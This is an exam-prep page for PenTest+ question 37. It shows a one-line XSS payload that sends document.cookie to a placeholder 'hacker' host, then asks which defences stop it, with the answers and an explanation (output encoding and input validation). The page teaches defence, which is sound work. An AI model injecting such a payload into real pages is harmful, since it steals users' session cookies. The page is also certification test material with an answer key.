ExamGecko
Question list
Search
Search

List of questions

Search

Related questions











Question 37 - PT0-002 discussion

Report
Export

Given the following code:

<SCRIPT>var+img=new+Image();img.src="http://hacker/%20+%20document.cookie;</SCRIPT>

Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)

A.
Web-application firewall
Answers
A.
Web-application firewall
B.
Parameterized queries
Answers
B.
Parameterized queries
C.
Output encoding
Answers
C.
Output encoding
D.
Session tokens
Answers
D.
Session tokens
E.
Input validation
Answers
E.
Input validation
F.
Base64 encoding
Answers
F.
Base64 encoding
Suggested answer: C, E

Explanation:

Encoding (commonly called "Output Encoding") involves translating special characters into some different but equivalent form that is no longer dangerous in the target interpreter, for example translating the < character into the < string when writing to an HTML page.

Output encoding and input validation are two of the best methods to prevent against this type of attack, which is known as cross-site scripting (XSS). Output encoding is a technique that converts user-supplied input into a safe format that prevents malicious scripts from being executed by browsers or applications. Input validation is a technique that checks user-supplied input against a set of rules or filters that reject any invalid or malicious data. Web-application firewall is a device or software that monitors and blocks web traffic based on predefined rules or signatures, but it may not catch all XSS attacks. Parameterized queries are a technique that separates user input from SQL statements to prevent SQL injection attacks, but they do not prevent XSS attacks. Session tokens are values that are used to maintain state and identify users across web requests, but they do not prevent XSS attacks. Base64 encoding is a technique that converts binary data into ASCII characters for transmission or storage purposes, but it does not prevent XSS attacks.

asked 02/10/2024
Venkateswar Parupalli
34 questions
User
Your answer:
0 comments
Sorted by

Leave a comment first